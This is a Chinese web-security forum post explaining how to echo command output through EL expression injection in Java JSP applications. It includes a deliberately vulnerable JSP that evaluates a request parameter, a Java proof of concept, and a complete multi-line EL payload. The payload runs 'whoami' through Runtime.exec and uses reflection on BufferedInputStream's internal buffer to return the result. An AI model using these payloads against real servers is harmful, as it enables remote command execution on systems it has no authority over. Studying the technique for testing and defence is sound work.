探究EL表达式注入的回显方式
1135985407845756 发表于 广东 WEB安全 1019浏览 · 2024-05-16 08:15

RCE回显主要两个步骤:

  1. exec执行后获取InputStream
  2. InputStream转换成String

EL表达式注入回显的关键点

1. 获取对象

EL表达式注入比SpEL表达式注入复杂一点,例如不能通过new创建对象

也就是说,要创建一个对象,只能通过无需new对象就能调用的方法,例如static修饰的方法

或者,直接用反射就能够获取对象

这里又有些限制,不过问题不大:获取类必须是全类名。SpEL中在java.lang的类直接短类名T(Integer)就能索引成功

class关键字也是没法直接用于获取类的

2. 变量传递

一个${}标签可以执行多行java代码,用分号分隔,返回值是最后一段

可以支持解析多个标签

可以看出来变量赋值是可以跨标签的,也就是变量会写入上下文,并且由解析器维护

不过一般EL表达式注入不直接写赋值表达式从而保存在上下文中,而是直接调用上下文的getter和setter

3. 将exec的返回值InputStream转换成String

exec可以通过getInputStream()获取运行结果

但是要想将InputStream转换成String是个比较复杂的过程,jdk9以后提供了readAllBytes()可以直接返回byte[],9之前就需要多个类转换才能实现

而且用BufferedReader.readLine()还会存在一个循环体去处理多行返回值的情况,下列是一些常见的InputStream转String的办法

探究如何在尽量不引入新类的情况下完成转换?

大前提是可以用反射的,那就沿着这条路走。首先exec.getInputStream()的返回值是InputStream的子类BufferedInputStream

可以看到对于exec.getInputStream()获取到的BufferedInputStream对象,有一个空的byte[8192]的buffer,还有一个FileInputStream,执行结果应该就在其中

看一下BufferedInputStream类自带统计长度的available()方法是如何实现的,调用了getInIfOpen().available()

可知前面猜想是正确的:BufferedInputStream的属性in(定义于父类FilterInputStram)以FileInputStream形式存储了执行结果

正好in和BufferedInputStream都是InputStream,且BufferedInputStream还有一个空闲的buf,那么exec的返回值通过调用自身BufferedInputStream()方法,赋值给buf,再通过反射获取,转换成String就显而易见了。这样就没有通过引入新的类(BufferedReader)完成了BufferedInputStream转换成String

调用流程如下:

这样就在没有引入新类的情况下完成了回显

环境

jdk 8u191 + tomcat 8.5.100 + tomcat-jasper 10.1.5

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%@ page import="org.apache.jasper.runtime.PageContextImpl" %>
<%
    String response = (String) PageContextImpl.proprietaryEvaluate(request.getParameter("expr"), String.class, pageContext, null);
    out.print(response);
%>

构造Payload

先在java中实现调用链:

exec之后需要等待流写入

package runtime;

import java.io.BufferedInputStream;
import java.lang.reflect.Field;

public class Mainn {
    public static void main(String[] args) throws Exception{
        BufferedInputStream bis = (BufferedInputStream) Runtime.getRuntime().exec("whoami").getInputStream();

        Thread.sleep(500);

        Class bisClazz = Class.forName("java.io.BufferedInputStream");
        Field bufField = bisClazz.getDeclaredField("buf");
        bufField.setAccessible(true);

        bis.read((byte[]) bufField.get(bis),0, bis.available());

        String result = (String) Class.forName("java.lang.String").getDeclaredConstructor(Class.forName("[B"), Class.forName("java.lang.String")).newInstance(bufField.get(bis), "gbk");

        System.out.println(result);

    }
}

转写成EL表达式:

${pageContext.setAttribute("is",Runtime.getRuntime().exec("whoami").getInputStream())}
${Thread.sleep(500)}
${pageContext.setAttribute("bufField",Class.forName("java.io.BufferedInputStream").getDeclaredField("buf"))}
${pageContext.getAttribute("bufField").setAccessible(true)}
${pageContext.getAttribute("is").read(pageContext.getAttribute("bufField").get(pageContext.getAttribute("is")),0,pageContext.getAttribute("is").available())}
${Class.forName("java.lang.String").getDeclaredConstructor(Class.forName("[B"),Class.forName("java.lang.String")).newInstance(pageContext.getAttribute("bufField").get(pageContext.getAttribute("is")), "gbk")}

gbk是为了避免cmd乱码问题,不过前提是jsp要指定编码<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>否则无效

参考

How do I read / convert an InputStream into a String in Java? - Stack Overflow

0 条评论
某人
表情
可输入 255